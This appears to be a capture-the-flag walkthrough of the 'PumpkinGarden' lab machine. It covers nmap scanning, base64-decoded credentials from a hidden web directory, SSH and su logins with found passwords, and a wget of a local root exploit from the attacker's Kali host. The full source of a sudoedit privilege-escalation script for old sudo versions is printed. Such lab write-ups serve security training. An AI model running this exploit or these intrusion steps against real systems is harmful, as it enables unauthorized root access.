Will I get a root access to PumpkinGarden ?
Kali Linux IP address: 192.168.56.102 PumpkinGarden IP address: 192.168.56.101
nmap -sC -sV -p- -A -T4 192.168.56.101 -oN nmap.log
21/tcp open ftp vsftpd 2.0.8 or later 1515/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 3535/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13
Although green comment seems to be given me some tips but I can’t get it. So, I followed my usual methodology; which is clicking all the links which I see in the source code (to me it appears suspicious to me)
Yeah, let’s check hidden_secret/
It is a base64 string, therefore we need to decrypt it.
echo 'c2NhcmVjcm93IDogNVFuQCR5' | base64 -d
scarecrow : 5Qn@$y
From the nmap result, we know that ssh service is running on port 3535.
ssh email@example.com -p 3535
We got a low privilege access!!
From this note, we received an interesting information.
username: goblin password: Y0n$M4sy3D1t
su - goblin password: Y0n$M4sy3D1t
Since I didn’t allow internet connection to PumpkinGarden Machine. I have to download the shell script on kali and then transfer it from there to the PumpkinGarden machine.
By using wget command, I downloaded the shell and place it at /var/www/html
Subsequently, I start the apache2 server on my Kali Linux.
server apache2 start cd /tmp/ wget http://192.168.56.102/38362.sh
I am not sure whether it will give me a wow!! Let’s see..
Ops! It didn’t work out like a magic.. let’s look into the source code…
goblin@Pumpkin:/tmp$ cat 38362.sh #!/bin/sh # Tod Miller Sudo 1.6.x before 1.6.9p21 and 1.7.x before 1.7.2p4 # local root exploit # March 2010 # automated by kingcope # Full Credits to Slouching echo Tod Miller Sudo local root exploit echo by Slouching echo automated by kingcope if [ $# != 1 ] then echo "usage: ./sudoxpl.sh <file you have permission to edit>" exit fi cd /tmp cat > sudoedit << _EOF #!/bin/sh echo ALEX-ALEX su /bin/su /usr/bin/su _EOF chmod a+x ./sudoedit sudo ./sudoedit $1
The files in /tmp/ folder automatically gets disappear. This link gave me an idea of why it is happening so.
Therefore, what I have done was copied the entire code and paste on command prompt and it did the trick.
It’s 00:20AM and I think it’s perfect timing to call it a day! 🙂